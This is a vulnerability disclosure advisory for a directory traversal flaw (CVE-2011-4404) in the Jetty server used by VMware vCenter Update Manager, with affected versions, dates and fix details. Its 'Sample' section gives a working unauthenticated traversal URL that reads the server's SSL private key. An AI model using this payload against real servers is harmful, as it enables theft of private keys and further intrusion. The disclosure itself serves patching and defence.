VMware Update Manager Directory Traversal

`DSECRG-11-042 VMware Update Manager - Directory Traversal  
  
  
Application: VMware Update Manager  
Versions Affected: vCenter Update Manager 4.1 prior to Update 2, vCenter Update Manager 4.0 prior to Update 4  
Vendor URL: http://vmware.com  
Bugs: Directory Traversal File Read  
CVE: CVE-2011-4404  
CVSS2: 7.8  
Exploits: YES  
Reported: 06.06.2010  
Vendor response: 06.06.2010  
Date of Public Advisory: 18.11.2011  
Authors: Alexey Sintsov  
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)  
  
Description  
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Directory Traversal vulnerability was found in Jetty web server that is used by VMware Update manager.  
  
Details  
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Directory Traversal vulnerability was found in Jetty web server that is used by VUM.  
With this vulnerability, an non-authenticated attacker can read any file on the server (with rights of the process).  
  
Sample  
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http://<target>:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key  
  
  
References  
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http://dsecrg.com/pages/vul/show.php?id=342  
http://www.vmware.com/security/advisories/VMSA-2011-0014.html  
  
  
Fix Information  
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Vendor make fix for this issue:  
Fixed in Update Manager 5.0 Windows not affected  
Fixed in Update Manager 4.1 Windows Update 2  
Fixed in Update Manager 4.0 Windows Update 4  
  
About DSecRG  
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Contact: research [at] dsecrg [dot] com  
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About ERPScan  
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